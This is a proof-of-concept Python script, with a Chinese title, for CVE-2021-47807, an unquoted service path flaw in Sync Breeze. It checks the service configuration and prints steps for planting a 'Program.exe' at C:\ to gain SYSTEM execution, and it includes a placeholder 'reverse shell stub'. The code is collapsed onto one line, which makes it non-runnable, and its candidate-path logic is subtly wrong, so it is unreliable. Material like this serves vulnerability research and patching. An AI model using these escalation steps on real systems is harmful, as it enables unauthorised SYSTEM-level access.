CVE-2021-47807 Sync Breeze 未引用服务路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2021-47807 PoC - Sync Breeze Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Sync Breeze 13.6.18 # Author: Security Researcher # Reference: https://www.vulncheck.com/advisories/sync-breeze-multiple-unquoted-service-path import os import sys import subprocess import shutil def check_vulnerability(): """Check if Sync Breeze service has unquoted path vulnerability""" try: # Query the Sync Breeze service configuration result = subprocess.run( ['sc', 'qc', 'SyncBreezeService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split('=', 1)[1].strip() print(f"[+] Service Binary Path: {path}") # Check if path is quoted if not (path.startswith('"') and path.endswith('"')): print("[!] VULNERABLE: Path is not quoted!") print("[!] Exploitable path locations:") # Parse path components parts = path.split('\\') for i, part in enumerate(parts[:-1]): potential_path = '\\'.join(parts[:i+1]) + '.exe' print(f" - {potential_path}") return True else: print("[-] Path is properly quoted, not vulnerable") return False else: print("[-] Sync Breeze service not found") return False except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False def create_malicious_executable(target_path): """Create a malicious executable to demonstrate privilege escalation""" try: # Create a simple malicious executable (reverse shell stub) malicious_code = f''' #include <windows.h> #include <stdio.h> int main() {{ MessageBox(NULL, "Sync Breeze Exploited!\nCheck {target_path}", "CVE-2021-47807", MB_OK); // Add malicious code here return 0; }} ''' print(f"[*] Malicious executable would be placed at: {target_path}") print("[*] When service restarts, this executable will be executed with SYSTEM privileges") return True except Exception as e: print(f"[-] Error creating malicious executable: {e}") return False def main(): print("="*60) print("CVE-2021-47807 - Sync Breeze Unquoted Service Path Exploit") print("="*60) print("\n[*] Checking for vulnerability...") if check_vulnerability(): print("\n[!] Target is VULNERABLE to CVE-2021-47807") print("\n[*] Exploitation steps:") print(" 1. Create malicious executable named 'Program.exe'") print(" 2. Place it in C:\\ root directory") print(" 3. Wait for service restart or system reboot") print(" 4. Malicious code executes with SYSTEM privileges") else: print("\n[-] Target is NOT vulnerable or service not found") if __name__ == "__main__": main()